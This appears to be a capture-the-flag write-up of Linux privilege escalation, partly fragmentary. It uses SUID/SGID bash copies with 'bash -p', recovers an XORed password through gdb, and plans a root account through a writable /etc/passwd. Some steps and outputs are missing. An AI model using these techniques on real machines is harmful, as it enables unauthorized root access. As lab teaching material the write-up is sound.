First, looking at the contents of the /home directory, there is an interesting file inside /home/anthony:
jebidiah@ip-172-31-47-51:~$ tree /home
/home
├── admin
├── anthony
│  └── bash
└── jebidiah
4 directories, 1 file
Looking at the file, it is discovered to be an executable with the SUID bit set to the user, root; however, it can only be run by members of the group, anthony (which is also another user):
jebidiah@ip-172-31-47-51:~$ file /home/anthony/bash
/home/anthony/bash: setuid ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=0b6b11360e339f231f17484da2c87d0d78554e31, for GNU/Linux 3.2.0, stripped
jebidiah@ip-172-31-47-51:~$ ls -lh /home/anthony/bash
-rwsr-xr-- 1 root anthony 1.3M Sep 27 19:28 /home/anthony/bash
What should now be done is finding a way to change the current running context to anthony:
jebidiah@ip-172-31-47-51:~$ cat /etc/passwd | grep anthony
anthony:x:1002:1002::/home/anthony:/bin/sh
jebidiah@ip-172-31-47-51:~$ find / -perm -4000 -type f -uid 1002 -exec ls -lh {} \; 2>/dev/null
jebidiah@ip-172-31-47-51:~$ find / -perm -2000 -type f -uid 1002 -exec ls -lh {} \; 2>/dev/null
-r-xr-sr-x 1 anthony anthony 1.3M Sep 27 18:05 /bash
jebidiah@ip-172-31-47-51:~$ file /bash
/bash: setgid ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=0b6b11360e339f231f17484da2c87d0d78554e31, for GNU/Linux 3.2.0, stripped
There is another bash executable in the / directory but this time an SUID bit was set to the group, anthony, which is what is currently needed:
jebidiah@ip-172-31-47-51:~$ /bash -p
bash-5.2$ id
uid=1001(jebidiah) gid=1001(jebidiah) egid=1002(anthony) groups=1002(anthony),1001(jebidiah)
Now, the effective gid of the current running context is for anthony meaning that the initially found bash file should now be executable and finally gain root privileges:
It seems to be used for validating the root password and looking at its structure based on gdb, there is a strcmp() function probably used for verification and it seems that the plaintext password has been XORed which means that simply using strings will not give any results:
jebidiah@ip-172-31-42-199:~$ gdb ./root
(gdb) info functions
All defined functions:
Non-debugging symbols:
0x0000000000001000 _init
0x0000000000001030 puts@plt
0x0000000000001040 strcmp@plt
0x0000000000001050 malloc@plt
0x0000000000001060 __cxa_finalize@plt
0x0000000000001070 _start
0x00000000000010a0 deregister_tm_clones
0x00000000000010d0 register_tm_clones
0x0000000000001110 __do_global_dtors_aux
0x0000000000001150 frame_dummy
0x0000000000001159 main
0x0000000000001207 xor_pass
0x0000000000001270 _fini
Debugging the executable then stopping at strcmp(), a password seems to have been recovered:
Looking at the current user's home directory, there is a passwd binary but there is nothing much that can be done about it as there are no escalation methods that can be achieved but this might be a clue to what can be done next:
The passwd file is writable meaning a new user can be created that can be fully controlled; moreover, it could have root privileges. But first, it is important to note that the file follows a certain format per user:
<username>:<password>:<uid>:<gid>:<comment>:<home directory>:<startup shell>
# Setting <password> to 'x' means the password will be stored in the shadow file.
# Otherwise, it will check the field itself.
# And, leaving it blank will ensure an empty password.
# A UID and/or GID of '0' is reserved for root but can be impersonated.